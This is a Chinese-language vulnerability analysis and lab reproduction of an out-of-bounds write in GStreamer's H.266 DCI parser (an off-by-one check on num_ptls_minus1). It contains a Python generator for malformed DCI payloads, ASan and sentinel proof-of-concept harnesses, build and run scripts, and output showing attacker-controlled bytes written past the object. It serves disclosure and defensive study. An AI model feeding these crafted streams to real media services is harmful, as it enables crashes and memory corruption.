解析 H.266 码流时,DCI 里那个 4 bit 的 num_ptls_minus1 只要填成保留值 15,GStreamer 1.28.8 就会在结构体末尾之外写入最多 1026 字节;官方描述里也写明标准管线走不到这段代码,所以至今没有补丁。
一、漏洞说明
1、漏洞本身
出问题的是 gst-plugins-bad 里的 libgstcodecparsers,具体函数 gst_h266_parser_parse_dci()。它解析 H.266 的 DCI(解码能力信息,NAL 类型 13)时,先读 4 bit 的 num_ptls_minus1,再按这个值循环解析同样数量的 profile_tier_level 结构。字段只有 4 bit,合法取值 0–14,15 是保留值,代码却把上限校验写成 15。保留值被放行后,循环多跑一次,第 16 个元素写到数组末尾之外。
函数定义在 subprojects/gst-plugins-bad/gst-libs/gst/codecparsers/gsth266parser.c:4774
GstH266ParserResult
gst_h266_parser_parse_dci (GstH266Parser * parser,
GstH266NalUnit * nalu, GstH266DCI * dci) // 解析 DCI,NAL 类型 13
{
NalReader nr;
guint8 dci_reserved_zero_4bits;
guint i;
GST_LOG ("parsing Decoding Capability Information"); // 仅日志
nal_reader_init (&nr, nalu->data + nalu->offset + nalu->header_bytes,
nalu->size - nalu->header_bytes); // 读指针跳过 NAL 头
memset (dci, 0, sizeof (*dci)); // 调用方结构体先清零
READ_UINT8 (&nr, dci_reserved_zero_4bits, 4); // u(4) 保留位,读完即丢
READ_UINT8 (&nr, dci->num_ptls_minus1, 4); // u(4) PTL 数减一,合法 0..14
CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15); // 上限错写成 15,保留值 15 被放行
for (i = 0; i <= dci->num_ptls_minus1; i++) { // i 可取到 15,数组下标只到 14
if (!gst_h266_parse_profile_tier_level (&dci->profile_tier_level[i],
&nr, 1, 0)) // 第 16 个元素落在数组之外
goto error;
}
READ_UINT8 (&nr, dci->extension_flag, 1); // u(1) 扩展标志
if (dci->extension_flag)
GST_WARNING ("extension_flag not supported. Ignoring extension data.");
return GST_H266_PARSER_OK;
error:
GST_WARNING ("error parsing \"Decoding Capability Information\"");
return GST_H266_PARSER_ERROR;
}编号 CVE-2026-100229,类型是越界写,CWE-787。CVSS 3.1 为 6.5 Medium,向量 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L,2026-10-14 披露。原始描述与评分见 NVD,编号记录见 CVE 记录。
按 NVD 的向量,攻击者不需要认证,也不需要用户交互,只要能交给目标程序一段 H.266 数据。真正决定风险大小的,是程序有没有直接调用这个解析 API。
2、受影响的版本与修复状态
截至 2026-11-11,没有任何已发布的修复版本。各发行版状态取自 Debian 安全跟踪页。
发行版 | 版本 | 状态 |
bookworm | 1.22.0-4+deb12u7 | vulnerable |
bookworm (security) | 1.22.0-4+deb12u8 | vulnerable |
trixie / trixie (security) | 1.26.2-3+deb13u3 | vulnerable |
forky | 1.28.8-1 | vulnerable |
sid | 1.28.9-1 | vulnerable |
source | — | unfixed |
同一个编号在 Ubuntu、SUSE、Red Hat Bugzilla 2541471、GHSA-8g53-2c85-3xhf、ENISA EUVD 都有条目,都没有已发布的修复版本:Ubuntu 各发行版一律停在 Needs evaluation;SUSE 把 SLE 16.0 / 16.1、openSUSE Leap 16.0 / 16.1 标为 Affected,15 SP7 及更早标为 Not affected;Bugzilla 状态是 NEW,GHSA 与 EUVD 只给出 6.5 Medium 的描述与评分,没有 patched 版本。
头文件里 GstH266DCI 标着 Since: 1.26,profile_tier_level 数组容量是 15;1.22 源码包里的 gsth266parser.c 还没有 parse_dci,所以 1.22 的老包只是按整包标记受影响,属于包级粗判,真正带缺陷代码的是 1.26 及以后。实验用的 1.28.8 比 sid 的 1.28.9-1 早一个小版本,缺陷同样存在,源码包从 GStreamer 发布目录 取。
二、影响组件与攻击面
1、组件定位
codecparsers 是 gst-plugins-bad 里的一套纯 C 码流语法解析库,负责把 H.264、H.265、H.266、AV1 的码流读成结构体,不处理容器也不解码。使用它的是链接这个库的程序,媒体分析工具、转码与转封装服务、内容审核系统、取证平台、自研播放内核都有可能是调用方。
和插件型漏洞不同,这里的攻击面不在管线元素,而在被直接调用的公开 API 上。受影响的是自己写了 NAL 遍历逻辑、把外部数据送进 parse_dci 的程序。
2、攻击面
攻击面取决于谁会处理不可信的 H.266 数据。可能把外部数据喂进 codecparsers 的场景有这么几类。
用户上传的视频、切片与缩略图生成服务
转码、转封装、码流合规校验等后台任务
邮件、IM、论坛附件中的媒体文件预处理
爬虫抓取或第三方同步来的媒体资源
硬盘录像机、编码器、摄像头等设备的码流接入与格式识别
取证、审核、沙箱系统对样本的自动分析
前提是这些程序把 NAL 逐个遍历并调用 parse_dci。只调 gst_h266_parser_parse_nal()、或者走标准管线的,不受影响。
3、触发条件
一个 NAL、一次调用就够,不用拼多帧,也不用铺垫状态机。唯一的门槛是宿主会不会调用这个 API。
三、危害
1、越界写落在什么地方
写入位置在对象之后。堆对象时写在
GstH266DCI后面,栈对象时写在栈帧里该变量的上界之后。
起点固定。第 16 个元素从
dci + 17824开始,出界点在dci + 17828。
写入内容由位流决定。
tier_flag、level_idc、general_constraints_info、sub_profile_idc都按语法元素原样写入,填0x11223344后能逐字节读回。
越界长度随标志位变化,三个样本分别写入 6、72、1026 字节,最远触到对象后面 1176 字节的位置。标志位为 0 的字段整段跳过,写入并不连续,只有
sub_profile_idc那一段按 32 位、每次 4 字节铺开。
附带影响:元素
[15]的前 4 字节仍落在对象内部,会覆盖extension_flag与extension_data_flag。
2、攻击者能拿到的效果
最直接的是内存破坏。写入起点固定在对象尾,内容由位流原样决定,主干按 32 位整数连写,这三项都在攻击者掌控之内,相邻对象的头部或指针字段就落在可写范围里。一旦写坏的是之后会被解引用的指针,影响能扩大到任意地址读写。把这一步做实需要目标程序的对象布局与生命周期配合,具体形态随宿主而异,实验环境没有继续往后推。
即使不做利用,后果也已经存在。
崩溃。相邻对象被踩坏后在使用时崩溃,或者写穿整块触发堆检测。
解析状态被改。
extension_flag被覆盖后,调用方按这个字段做的判断可能与实际码流不符,导致后续解析越界或漏判。
静默破坏。不开内存检测时解析返回
PARSER_OK,对象后面已经被写了 6–1026 字节,进程可能几小时不崩,只在后面某次分配或释放时冒出来。
三者里最难处理的是最后一种。它打破了“解析成功即输入合法”这个常见假设,而且异常现场离真正的触发点很远,事后定位要往回追很久。
3、最坏情况的边界
这个洞没法脱离宿主直接打穿任意进程:攻击者先要让目标读到自己的 H.266 数据,还得目标自己调用 parse_dci,标准管线和 playbin 都走不到这里。因此它在真实场景里更接近“给特定解析链路埋一个内容可控的越界写”,而非“装上 GStreamer 就会被打”。
反过来看,凡是自己写 NAL 遍历逻辑的媒体服务,这段代码就在输入路径上,而且解析发生在解码之前。攻击者不需要构造能解码的完整视频,一个几十字节的 NAL 就能触发,门槛比常规媒体漏洞低得多。
四、复现过程
1、目录结构
~/lab/CVE-2026-100229/
├── gst-plugins-bad-1.28.8.tar.xz # 离线源码包 8,355,328 B
├── gst-plugins-bad-1.28.8/ # 含缺陷源码树
├── gst-plugins-bad-1.28.8-patched/ # 施加建议补丁后的源码副本
├── gen_payloads.py # 畸形 DCI 位流生成器
├── poc_dci.c # ASan harness
├── poc_sentinel.c # 哨兵 harness,量化越界深度
├── dci_len.bin / dci_annexb.bin / dci_len_gci.bin / dci_ok14.bin / dci_deep.bin
├── 00_setup.sh # 解压源码 + 生成样本
├── 01_build_vuln.sh # 编译两个 harness
├── 02_run_vuln.sh # 6 个触发与量化用例
├── 03_build_patched.sh # 复制源码 + 施加建议补丁 + 编译对照 harness
├── 04_run_patched.sh # 4 个对照用例
├── poc_dci / poc_sentinel / poc_dci_patched
└── run_vuln.log / run_patched.log2、环境
uname -r
gcc -dumpfullversion
pkg-config --modversion gstreamer-1.0
grep -m1 -n '^ version' ~/lab/CVE-2026-100229/gst-plugins-bad-1.28.8/meson.build6.19.11+kali-amd64
15.2.0
1.28.8
2: version : '1.28.8',3、样本
cd ~/lab/CVE-2026-100229
bash 00_setup.sh
样本 | 大小 | num_ptls_minus1 | 布局 | 用途 |
dci_len.bin | 72 B | 15 | length | 最简畸形流,每块 PTL 只写必需字段 |
dci_annexb.bin | 77 B | 15 | Annex-B | 同内容换起始码,验证布局无关 |
dci_len_gci.bin | 232 B | 15 | length | 打开 general_constraints_info,填满中段 |
dci_ok14.bin | 68 B | 14 | length | 合法边界,验证这一改动不会误杀正常流 |
dci_deep.bin | 16392 B | 15 | length | 每块 PTL 带 num_sub_profiles = 255,压最大深度 |
决定触发与否的开关只有 DCI 开头那一个字节:前 4 bit 填 0 给 dci_reserved_zero_4bits,后 4 bit 填 0xF,拼起来就是 0x0F;样本之间的差异只影响越界深度。
00_setup.sh
#!/usr/bin/env bash
# 00_setup.sh —— 解压源码、生成畸形 DCI 样本
set -euo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"
SRC_TAR=gst-plugins-bad-1.28.8.tar.xz
SRC_DIR=gst-plugins-bad-1.28.8
[ -f "$SRC_TAR" ] || { echo "[-] 缺少源码包 $SRC_TAR"; exit 1; }
[ -d "$SRC_DIR" ] || tar -xf "$SRC_TAR" -C .
python3 gen_payloads.pygen_payloads.py
#!/usr/bin/env python3
"""CVE-2026-100229 畸形 DCI 样本生成器
DCI RBSP 布局(H.266 7.3.2.5):
dci_reserved_zero_4bits u(4)
num_ptls_minus1 u(4) 合法 0..14,15 为保留值 —— 即本漏洞入口
profile_tier_level() × (num_ptls_minus1 + 1)
样本:
dci_len.bin length-prefixed(vvcC/MP4 布局),num_ptls_minus1=15,PTL 不含 GCI
dci_annexb.bin Annex-B 裸流,同上
dci_len_gci.bin length-prefixed,PTL 含 general_constraints_info(放大覆盖)
dci_ok14.bin 合法边界样本 num_ptls_minus1=14,用于验证建议补丁的回归对照
dci_deep.bin 16 个 PTL 且每块 num_sub_profiles=255、sub_profile_idc 填
0x11223344,用于压出越界写深度并证明写入内容可控
"""
import os
HERE = os.path.dirname(os.path.abspath(__file__))
OUT = HERE
NAL_DCI = 13
def bits(pairs):
return "".join(format(v, "0%db" % n) for v, n in pairs)
def pack(b):
while len(b) % 8:
b += "0"
return bytes(int(b[i:i + 8], 2) for i in range(0, len(b), 8))
def profile_tier_level(profile_idc=1, tier=0, level_idc=51,
frame_only=1, multilayer=0, with_gci=False,
num_sub_profiles=0, sub_profile_value=0):
"""profile_tier_level(profileTierPresentFlag=1, maxNumSubLayersMinus1=0)"""
b = bits([(profile_idc, 7), (tier, 1), (level_idc, 8),
(frame_only, 1), (multilayer, 1)])
b += "1" if with_gci else "0" # general_constraints_info_present_flag
if with_gci:
b += bits([(0, 1), (0, 1), (0, 1)]) # intra_only / all_layers_independent / one_au_only
b += bits([(0, 4), (0, 2)]) # bitdepth idc <= 8, chroma idc 4:2:0
b += "0" * 10 # nalu-type constraint flags
b += "0" * 6 # tile/slice/subpic flags
b += bits([(0, 2), (0, 1), (0, 1), (0, 1)]) # ctu size idc, partition override, mtt, dualtree
b += "0" * 6 # intra tool flags
b += "0" * 16 # inter tool flags
b += "0" * 13 # transform/quant flags
b += "0" * 6 # loop filter flags
b += format(0, "08b") # num_additional_bits
# 解析端会先跳过 reserved_zero_bits 到字节对齐,再读 num_sub_profiles
while len(b) % 8:
b += "0"
b += format(num_sub_profiles, "08b") # num_sub_profiles
b += format(sub_profile_value & 0xFFFFFFFF, "032b") * num_sub_profiles # sub_profile_idc[i],u(32)
return pack(b)
def build(num_ptls_minus1, with_gci=False, layout="length", num_sub_profiles=0,
sub_profile_value=0):
ptl = profile_tier_level(with_gci=with_gci, num_sub_profiles=num_sub_profiles,
sub_profile_value=sub_profile_value)
rbsp = bytes([num_ptls_minus1 & 0x0F])
rbsp += ptl * (num_ptls_minus1 + 1)
rbsp += b"\x00" # rbsp_trailing_bits
header = bytes([0x00, (NAL_DCI << 3) | 0x01]) # forbidden_zero_bit | nal_unit_type | nuh_temporal_id_plus1
nal = header + rbsp
if layout == "length":
return len(nal).to_bytes(4, "big") + nal
aud = bytes([0x00, (20 << 3) | 0x01, 0x00]) # AUD,仅用于让 Annex-B 识别 NAL 结尾
return b"\x00\x00\x01" + nal + b"\x00\x00\x01" + aud
def main():
os.makedirs(OUT, exist_ok=True)
samples = [
("dci_len.bin", 15, False, "length", 0),
("dci_annexb.bin", 15, False, "annexb", 0),
("dci_len_gci.bin", 15, True, "length", 0),
("dci_ok14.bin", 14, False, "length", 0),
("dci_deep.bin", 15, False, "length", 255),
]
for name, num, gci, layout, nsub in samples:
blob = build(num, with_gci=gci, layout=layout, num_sub_profiles=nsub,
sub_profile_value=0x11223344)
with open(os.path.join(OUT, name), "wb") as f:
f.write(blob)
print("[+] %-16s %6d bytes num_ptls_minus1=%-2d %-15s PTL含GCI=%s PTL内sub_profile=%d"
% (name, len(blob), num, layout, "是" if gci else "否", nsub))
if __name__ == "__main__":
main()4、harness 与编译
poc_dci.c 只做三件事:读文件、用 identify_nalu*() 定位 NAL、调用 gst_h266_parser_parse_dci()。第一个参数是样本文件,第二个可选 heap 或 stack 指定对象位置,默认走 g_new0(poc_dci.c:101),选 stack 时用 47 行声明的栈变量;第三个可选 length 或 annexb 指定输入布局,默认 length。
/* CVE-2026-100229: GStreamer H.266 DCI parser OOB write PoC
*
* 模拟"直接调用 libgstcodecparsers 公开 API 的第三方应用",读入一段 VVC DCI
* NAL(Annex-B 裸流,或 vvcC/MP4 中 length-prefixed 的 sample),交给
* gst_h266_parser_parse_dci() 解析。
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <gst/gst.h>
#include "gsth266parser.h"
static guint8 *read_file (const char *path, long *out_size)
{
FILE *f = fopen (path, "rb");
guint8 *buf;
long sz;
if (!f) {
perror ("fopen");
return NULL;
}
fseek (f, 0, SEEK_END);
sz = ftell (f);
fseek (f, 0, SEEK_SET);
buf = malloc (sz);
if (fread (buf, 1, sz, f) != (size_t) sz)
fprintf (stderr, "short read\n");
fclose (f);
*out_size = sz;
return buf;
}
int
main (int argc, char **argv)
{
const char *path;
const char *mode;
const char *layout;
guint8 *data;
long size;
GstH266Parser *parser;
GstH266NalUnit nalu;
GstH266ParserResult res;
GstH266DCI *heap_dci = NULL;
GstH266DCI stack_dci;
if (argc < 2) {
fprintf (stderr, "usage: %s <dci.bin> [heap|stack] [length|annexb]\n",
argv[0]);
return 2;
}
path = argv[1];
mode = (argc > 2) ? argv[2] : "heap";
layout = (argc > 3) ? argv[3] : "length";
/* 行缓冲被 abort() 丢弃会看不到上下文,改为无缓冲 */
setvbuf (stdout, NULL, _IONBF, 0);
gst_init (&argc, &argv);
data = read_file (path, &size);
if (!data)
return 1;
printf ("[*] input: %s (%ld bytes), layout=%s, alloc=%s\n", path, size,
layout, mode);
parser = gst_h266_parser_new ();
memset (&nalu, 0, sizeof (nalu));
if (g_strcmp0 (layout, "annexb") == 0) {
res = gst_h266_parser_identify_nalu (parser, data, 0, size, &nalu);
} else {
res = gst_h266_parser_identify_nalu_vvc (parser, data, 0, size, 4, &nalu);
}
printf ("[*] identify NAL -> %d (type=%u layer_id=%u tid=%u offset=%u "
"size=%u header_bytes=%u)\n", res, nalu.type, nalu.layer_id,
nalu.temporal_id_plus1, nalu.offset, nalu.size, nalu.header_bytes);
if (res != GST_H266_PARSER_OK) {
fprintf (stderr, "[-] failed to identify NAL unit\n");
return 1;
}
if (nalu.type != GST_H266_NAL_DCI) {
fprintf (stderr, "[-] NAL type %u is not DCI\n", nalu.type);
return 1;
}
printf ("[*] sizeof(GstH266DCI)=%zu sizeof(GstH266ProfileTierLevel)=%zu "
"ptl[] capacity=%zu entries\n", sizeof (GstH266DCI),
sizeof (GstH266ProfileTierLevel),
sizeof (stack_dci.profile_tier_level) /
sizeof (stack_dci.profile_tier_level[0]));
if (g_strcmp0 (mode, "stack") == 0) {
memset (&stack_dci, 0x41, sizeof (stack_dci));
res = gst_h266_parser_parse_dci (parser, &nalu, &stack_dci);
printf ("[*] parse_dci -> %d, num_ptls_minus1=%u\n", res,
stack_dci.num_ptls_minus1);
} else {
heap_dci = g_new0 (GstH266DCI, 1);
res = gst_h266_parser_parse_dci (parser, &nalu, heap_dci);
printf ("[*] parse_dci -> %d, num_ptls_minus1=%u\n", res,
heap_dci->num_ptls_minus1);
g_free (heap_dci);
}
gst_h266_parser_free (parser);
free (data);
printf ("[+] done (no sanitizer report)\n");
return 0;
}poc_sentinel.c 只接受文件名,把 GstH266DCI 放在 sizeof(GstH266DCI) + 16 KB 块的开头,尾部铺 0xAA 哨兵,解析返回后统计被改动的字节数与最远偏移。这里不开 ASan,是因为它在第一次越界时就中断,量不到深度。
/* CVE-2026-100229: 量化越界写(哨兵法)
*
* 把 GstH266DCI 放在更大分配块的头部,尾部填充 0xAA 哨兵;解析返回后统计
* sizeof(GstH266DCI) 之后有多少字节被改写、最大偏移多远。此处刻意不开 ASan,
* 以便让越界写真正完成。
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <gst/gst.h>
#include "gsth266parser.h"
#define TAIL 16384
int
main (int argc, char **argv)
{
const char *path;
guint8 *data;
long size;
guint8 *mem;
size_t n;
GstH266Parser *parser;
GstH266NalUnit nalu;
GstH266ParserResult res;
GstH266DCI *dci;
size_t i, first = (size_t) -1, last = 0, count = 0;
if (argc < 2) {
fprintf (stderr, "usage: %s <dci.bin>\n", argv[0]);
return 2;
}
path = argv[1];
/* 行缓冲被 abort() 丢弃会看不到上下文,改为无缓冲 */
setvbuf (stdout, NULL, _IONBF, 0);
gst_init (&argc, &argv);
{
FILE *f = fopen (path, "rb");
if (!f) {
perror ("fopen");
return 1;
}
fseek (f, 0, SEEK_END);
size = ftell (f);
fseek (f, 0, SEEK_SET);
data = malloc (size);
if (fread (data, 1, size, f) != (size_t) size)
fprintf (stderr, "short read\n");
fclose (f);
}
parser = gst_h266_parser_new ();
memset (&nalu, 0, sizeof (nalu));
res = gst_h266_parser_identify_nalu_vvc (parser, data, 0, size, 4, &nalu);
if (res != GST_H266_PARSER_OK) {
fprintf (stderr, "[-] identify failed: %d\n", res);
return 1;
}
n = sizeof (GstH266DCI);
printf ("[*] sizeof(GstH266DCI) = %zu\n", n);
printf ("[*] sizeof(GstH266ProfileTierLevel) = %zu, "
"profile_tier_level[15] covers [%zu, %zu) bytes\n",
sizeof (GstH266ProfileTierLevel), n - sizeof (GstH266ProfileTierLevel),
n);
printf ("[*] num_ptls_minus1 = 15 asks for element #15 -> [%zu, %zu)\n",
n, n + sizeof (GstH266ProfileTierLevel));
if (posix_memalign ((void **) &mem, 64, n + TAIL) != 0) {
fprintf (stderr, "alloc failed\n");
return 1;
}
memset (mem, 0xAA, n + TAIL);
dci = (GstH266DCI *) mem;
res = gst_h266_parser_parse_dci (parser, &nalu, dci);
printf ("[*] parse_dci -> %d, num_ptls_minus1 read back = %u\n", res,
dci->num_ptls_minus1);
for (i = 0; i < TAIL; i++) {
if (mem[n + i] != 0xAA) {
if (first == (size_t) -1)
first = i;
last = i;
count++;
}
}
if (count == 0) {
printf ("[+] no byte written past sizeof(GstH266DCI)\n");
} else {
printf ("[!] wrote past the end of GstH266DCI: %zu bytes touched, "
"range [%zu, %zu] (i.e. up to %zu bytes beyond the object)\n",
count, first, last, last + 1);
printf ("[!] overwrite begins at dci + %zu == &dci->profile_tier_level[15]"
" (%s)\n", first,
first == n ? "exact start of element #15" : "check offset");
{
size_t k, off = first;
printf ("[!] dump past-object bytes at offset %zu..%zu (16 B):",
off, off + 15 > last ? last : off + 15);
for (k = off; k <= last && k < off + 16; k++)
printf ("%s%02x", (k % 16 == 0) ? "\n " : " ", mem[n + k]);
printf ("\n");
if (last > off + 15) {
off = last > 15 ? last - 15 : 0;
printf ("[!] dump past-object bytes at offset %zu..%zu (tail 16 B):",
off, last);
for (k = off; k <= last; k++)
printf ("%s%02x", (k % 16 == 0) ? "\n " : " ", mem[n + k]);
printf ("\n");
}
}
}
gst_h266_parser_free (parser);
free (data);
free (mem);
return 0;
}cd ~/lab/CVE-2026-100229
bash 01_build_vuln.sh
ls -l poc_dci poc_sentinel
01_build_vuln.sh 用同一份源码编译两个 harness,ASan 版额外加 -fsanitize=address。
#!/usr/bin/env bash
# 01_build_vuln.sh —— 基于官方 1.28.8 原始源码,编译 ASan 版与哨兵版 PoC
set -euo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"
GSTLIB=gst-plugins-bad-1.28.8/gst-libs
SRC=$GSTLIB/gst/codecparsers
CFLAGS="-g -O0 -fno-omit-frame-pointer -DGST_USE_UNSTABLE_API -I$SRC -I$GSTLIB"
LIBS="$(pkg-config --cflags --libs gstreamer-1.0 gstreamer-base-1.0)"
COMMON="$SRC/gsth266parser.c $SRC/nalutils.c"
gcc $CFLAGS -fsanitize=address poc_dci.c $COMMON $LIBS -o poc_dci
gcc $CFLAGS poc_sentinel.c $COMMON $LIBS -o poc_sentinel5、ASan 抓到越界
cd ~/lab/CVE-2026-100229
bash 02_run_vuln.sh用例 1 用堆对象,输入是 length 前缀布局。

0 bytes after 17828-byte region 说明写入地址正好等于 sizeof(GstH266DCI)
用例 2 换成 Annex-B 裸流。
./poc_dci dci_annexb.bin heap annexb
同样报 heap-buffer-overflow,区别只在 layout=annexb,两种布局等价触发。
用例 3 把对象放在栈上。
./poc_dci dci_len.bin stack length
[208, 18036) 是 17828 字节对象在栈帧里的范围,越界点 18036 正好是上界。
三个用例都触发了越界。
grep -c 'ERROR: AddressSanitizer' run_vuln.log
6 个用例由 02_run_vuln.sh 串行执行,逐条写进 run_vuln.log。
#!/usr/bin/env bash
# 02_run_vuln.sh —— 在官方 1.28.8 原始源码上触发越界写
set -uo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"
export ASAN_OPTIONS=detect_leaks=0:abort_on_error=0
LOG=run_vuln.log
: > "$LOG"
run () {
echo "===== $* =====" | tee -a "$LOG"
"$@" 2>&1 | tee -a "$LOG"
echo "[exit=$?]" | tee -a "$LOG"
echo | tee -a "$LOG"
}
run ./poc_dci dci_len.bin heap length
run ./poc_dci dci_annexb.bin heap annexb
run ./poc_dci dci_len.bin stack length
run ./poc_sentinel dci_len.bin
run ./poc_sentinel dci_len_gci.bin
run ./poc_sentinel dci_deep.bin6、越界有多深
cd ~/lab/CVE-2026-100229
./poc_sentinel dci_len.bin
./poc_sentinel dci_len_gci.bin
./poc_sentinel dci_deep.bindci_len.bin 与 dci_deep.bin 的输出:
[*] sizeof(GstH266DCI) = 17828
[*] sizeof(GstH266ProfileTierLevel) = 1188, profile_tier_level[15] covers [16640, 17828) bytes
[*] num_ptls_minus1 = 15 asks for element #15 -> [17828, 19016)
[*] parse_dci -> 0, num_ptls_minus1 read back = 15
[!] wrote past the end of GstH266DCI: 6 bytes touched, range [0, 153] (i.e. up to 154 bytes beyond the object)
[!] overwrite begins at dci + 0 == &dci->profile_tier_level[15] (check offset)
[!] dump past-object bytes at offset 0..15 (16 B):
00 33 01 00 00 aa aa aa aa aa aa aa aa aa aa aa
[!] dump past-object bytes at offset 138..153 (tail 16 B): aa aa aa aa aa aa
aa aa aa aa aa aa aa aa aa 00
[*] sizeof(GstH266DCI) = 17828
[*] sizeof(GstH266ProfileTierLevel) = 1188, profile_tier_level[15] covers [16640, 17828) bytes
[*] num_ptls_minus1 = 15 asks for element #15 -> [17828, 19016)
[*] parse_dci -> 0, num_ptls_minus1 read back = 15
[!] wrote past the end of GstH266DCI: 1026 bytes touched, range [0, 1175] (i.e. up to 1176 bytes beyond the object)
[!] overwrite begins at dci + 0 == &dci->profile_tier_level[15] (check offset)
[!] dump past-object bytes at offset 0..15 (16 B):
00 33 01 00 00 aa aa aa aa aa aa aa aa aa aa aa
[!] dump past-object bytes at offset 1160..1175 (tail 16 B): 44 33 22 11 44 33 22 11
44 33 22 11 44 33 22 11dci_len_gci.bin 的结果是 72 字节,覆盖区间同样止于偏移 153。
[!] wrote past the end of GstH266DCI: 72 bytes touched, range [0, 153] (i.e. up to 154 bytes beyond the object)00 33 01 00 00 是越界区开头五字节,依次是 tier_flag=0、level_idc=0x33(51)、frame_only_constraint_flag=1、multilayer_enabled_flag=0、general_constraints_info_present_flag=0,全部照位流写入。num_sub_profiles 单独落在偏移 153,dci_len.bin 尾部 dump 的最后一个 00 就是它,其余 15 个 aa 是没被碰过的哨兵,正好凑成 6 字节。尾部一串 44 33 22 11 是写入的 sub_profile_idc = 0x11223344(小端),越界内容完全可控。
三例的 parse_dci -> 0 都是解析成功。此时内存已经被改,光看返回值分不出输入是否合法。
五、漏洞分析
1、DCI 的位流怎么读
按 H.266 §7.3.2.5,DCI 的 RBSP 开头很短,先是 4 bit 的 dci_reserved_zero_4bits,紧跟 4 bit 的 num_ptls_minus1,之后铺 num_ptls_minus1 + 1 个 profile_tier_level()。解析器读这两个字段用的是同一段代码,前 4 bit 丢掉,后 4 bit 存进 dci->num_ptls_minus1。
READ_UINT8 (&nr, dci_reserved_zero_4bits, 4);
READ_UINT8 (&nr, dci->num_ptls_minus1, 4);字段只有 4 bit,能表示 0–15,而 H.266 规定 0–14 是有效数量、15 是保留值。攻击者把整个字节写成 0x0F,读出来的 num_ptls_minus1 就是 15。
2、校验为什么没拦住
紧接着的校验写成 CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15),展开了看它的语义。
#define CHECK_ALLOWED_MAX_WITH_DEBUG(dbg, val, max) { \
if (val > max) { \
GST_WARNING ("value for '" dbg "' greater than max. value: %d, max %d", \
val, max); \
goto error; \
} \
}条件是 val > max 才报错,等号情况被放过。传进来的 max 是 15,字段取到 15 时不大于 15,校验通过,保留值一路往下走。要拦住它,max 得写 14。
3、循环多跑了一次
CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15); /* 4790 */
for (i = 0; i <= dci->num_ptls_minus1; i++) {
if (!gst_h266_parse_profile_tier_level (&dci->profile_tier_level[i],
&nr, 1, 0)) /* 4792 */
goto error;
}循环边界是 i <= num_ptls_minus1,所以要跑 num_ptls_minus1 + 1 次。num_ptls_minus1 为 14 时跑 15 次,正好铺满数组;为 15 时跑 16 次,第 16 次访问 profile_tier_level[15],而数组在 gsth266parser.h:2841 只有 15 个元素。
GstH266ProfileTierLevel profile_tier_level[15];容量 15、最大下标 14,校验上限却写成 15,边界于是往外滑了一格。
4、多出来的那次写到哪
GstH266DCI 的实际尺寸与成员偏移,用 offsetof 量一遍就清楚。两个结构体的定义在 gsth266parser.h:791 与 gsth266parser.h:2839。
struct _GstH266ProfileTierLevel {
GstH266Profile profile_idc;
guint8 tier_flag;
guint8 level_idc;
guint8 frame_only_constraint_flag;
guint8 multilayer_enabled_flag;
GstH266GeneralConstraintsInfo general_constraints_info;
guint8 sublayer_level_present_flag[GST_H266_MAX_SUBLAYERS - 1];
guint8 sublayer_level_idc[GST_H266_MAX_SUBLAYERS - 1];
guint8 num_sub_profiles;
GstH266Profile sub_profile_idc[GST_H266_MAX_SUB_PROFILES];
guint8 ptl_reserved_zero_bit;
};
struct _GstH266DCI {
guint8 num_ptls_minus1;
GstH266ProfileTierLevel profile_tier_level[15];
guint8 extension_flag;
guint8 extension_data_flag;
/* extension_data */
};cd ~/lab/CVE-2026-100229
cat > /tmp/dci_layout.c <<'EOF'
#include <stdio.h>
#include <stddef.h>
#include <gst/gst.h>
#include "gst-libs/gst/codecparsers/gsth266parser.h"
int main (void)
{
printf ("sizeof(GstH266DCI) = %zu\n", sizeof (GstH266DCI));
printf ("sizeof(GstH266ProfileTierLevel) = %zu\n", sizeof (GstH266ProfileTierLevel));
printf ("sizeof(GstH266GeneralConstraintsInfo) = %zu\n", sizeof (GstH266GeneralConstraintsInfo));
printf ("offsetof(GstH266DCI, num_ptls_minus1) = %zu\n", offsetof (GstH266DCI, num_ptls_minus1));
printf ("offsetof(GstH266DCI, profile_tier_level) = %zu\n", offsetof (GstH266DCI, profile_tier_level));
printf ("&dci->profile_tier_level[15] = %zu\n", offsetof (GstH266DCI, profile_tier_level) + 15 * sizeof (GstH266ProfileTierLevel));
printf ("offsetof(GstH266DCI, extension_flag) = %zu\n", offsetof (GstH266DCI, extension_flag));
return 0;
}
EOF
gcc -O0 -o /tmp/dci_layout /tmp/dci_layout.c \
-I gst-plugins-bad-1.28.8 -I gst-plugins-bad-1.28.8/gst-libs \
$(pkg-config --cflags --libs gstreamer-1.0)
/tmp/dci_layout编译会打出两条 unstable API 的 #warning(gsth266parser.h:26、:27),定义 GST_USE_UNSTABLE_API 可以压掉。
sizeof(GstH266DCI) = 17828
sizeof(GstH266ProfileTierLevel) = 1188
sizeof(GstH266GeneralConstraintsInfo) = 137
offsetof(GstH266DCI, num_ptls_minus1) = 0
offsetof(GstH266DCI, profile_tier_level) = 4
&dci->profile_tier_level[15] = 17824
offsetof(GstH266DCI, extension_flag) = 17824数组从偏移 4 开始,15 个元素占 17820 字节,正好顶到 17824。第 16 个元素也从这里开始写,而结构体到 17828 就结束了。
17824 到 17828 这 4 字节还在对象内部,被第 16 个元素的前 4 字节盖掉,改的是 extension_flag 与 extension_data_flag。真正出界从 17828 开始,正好是 ASan 报的 0 bytes after 17828-byte region。
越界写多深,由位流里后续的标志位决定。把第 16 个元素的字段换算成相对对象尾的偏移,排列如下:
三个样本的差异都能用这张图解释。dci_len.bin 只写头部 5 字节(tier_flag、level_idc、两个约束标志、general_constraints_info_present_flag)加偏移 153 的 num_sub_profiles,中间因为标志位为 0 全部跳过,所以是 6 字节。dci_len_gci.bin 打开 general_constraints_info 后中段被填实,覆盖区间仍是 [0, 153],总量变成 72 字节。dci_deep.bin 再把 num_sub_profiles 拉到 255,for (i = 0; i < num_sub_profiles; i++) 连写 255 个 32 位整数,从偏移 156 一直到 1175,加上前面 6 字节共 1026 字节。
